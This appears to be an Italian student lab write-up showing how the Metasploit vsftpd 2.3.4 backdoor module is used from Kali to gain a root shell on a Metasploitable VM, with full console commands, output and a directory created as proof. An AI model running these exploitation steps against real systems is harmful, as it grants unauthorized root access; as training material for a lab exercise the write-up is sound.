Oggi, utilizzando il tool **metasploit**, ho inserito una backdoor shell da Kali a Metasploitable verso il servizio ftp.

Dopo aver scansionato i port in ascolto sulla la macchina vittima, ho visto che la porta 21 funge il servizio **VSFTPD**. Una volta sapendo questo, ho cercato exploit disponibili per sfruttare questo servizio mal configurato.

```
┌──(kali㉿kali)-[~]
└─$ msfconsole
Metasploit tip: Use the analyze command to suggest runnable modules for
hosts

IIIIII    dTb.dTb        _.---._
  II     4'  v  'B    .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |    \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt


       =[ metasploit v6.3.46-dev                          ]
+ -- --=[ 2378 exploits - 1233 auxiliary - 416 post       ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.32.101
rhosts => 192.168.32.101
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads
===================

   #  Name                              Disclosure Date  Rank    Check  Description
   -  ----                              ---------------  ----    -----  -----------
   0  payload/cmd/unix/interact                          normal  No     Unix Command, Interact with Established Connection
```

Ma prima dobbiamo capire, cos’e un exploit?

Un exploit è un atto che **sfrutta una vulnerabilità** di un sistema software per ottenere accesso non autorizzato, manipolare dati o eseguire attività dannose. Può essere utilizzato per aggirare le misure di sicurezza, ottenere il controllo su un sistema o eseguire codice arbitrario.

In questo caso, andiamo a exploitare un protocollo ftp mal configurato. Il protocollo File Transfer Protocol (FTP) fa esattamente quello che intende suo nome, trasferisce dei file da un sistema all'altro, tipicamente deve essere configurato in maniera che solo i utenti autorizzati possano fare parte di questa comunicazione, ma con il payload che ci da metasploit, possiamo caricare una root shell dentro la macchina Metasploitable stessa.

Una volta avendo una root shell caricata su Metasploitable, possiamo fare tutto ciò che potrebbe fare un admin, come andare a creare una cartella nuova… forse una cartella nuova chiamata test_metasploit?

Vediamo che c'è un exploit che ci permeterá inserire una shell verso una backdoor, che verrà caricata verso il servizio ftp.

Defniamo il host che vogliamo attaccare, e poi iniziamo detto attacco.

```
Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.32.101
rhosts => 192.168.32.101
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads
===================

   #  Name                          Disclosure Date  Rank    Check  Description
   -  ----                          ---------------  ----    -----  -----------
   0  payload/cmd/unix/interact                      normal  No     Unix Command, Interact with Established Connection

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.32.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.32.101:21 - USER: 331 Please specify the password.
[+] 192.168.32.101:21 - Backdoor service has been spawned, handling...
[+] 192.168.32.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
asd [*] Command shell session 1 opened (192.168.32.104:39975 → 192.168.32.101:6200) at 2024-01-15 05:54:39 -0500
```

Non é una shell molto bella, ma possiamo andare verso root con `cd /`, poi creiamo nostro directory con mkdir.

Ora vediamo che facendo `ls`, possiamo vedere il nuovo directory sul root di metasploitable:)

```
vmlinuz
cd /
pwd
/
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
mkdir test_metasploit
```

Meta [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

```
metasploitable login: msfadmin
Password:
Last login: Thu Jan 11 06:37:14 EST 2024 on pts/1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ msfadmin
msfa-bash: msfadmin: command not found
msfadmin@metasploitable:~$ cd /
msfadmin@metasploitable:/$ ls
bin    dev   initrd      lost+found  nohup.out  root  sys             usr
boot   etc   initrd.img  media       opt        sbin  test_metasploit  var
cdrom  home  lib         mnt         proc       srv   tmp             vmlinuz
msfadmin@metasploitable:/$ _
```

Right Ctrl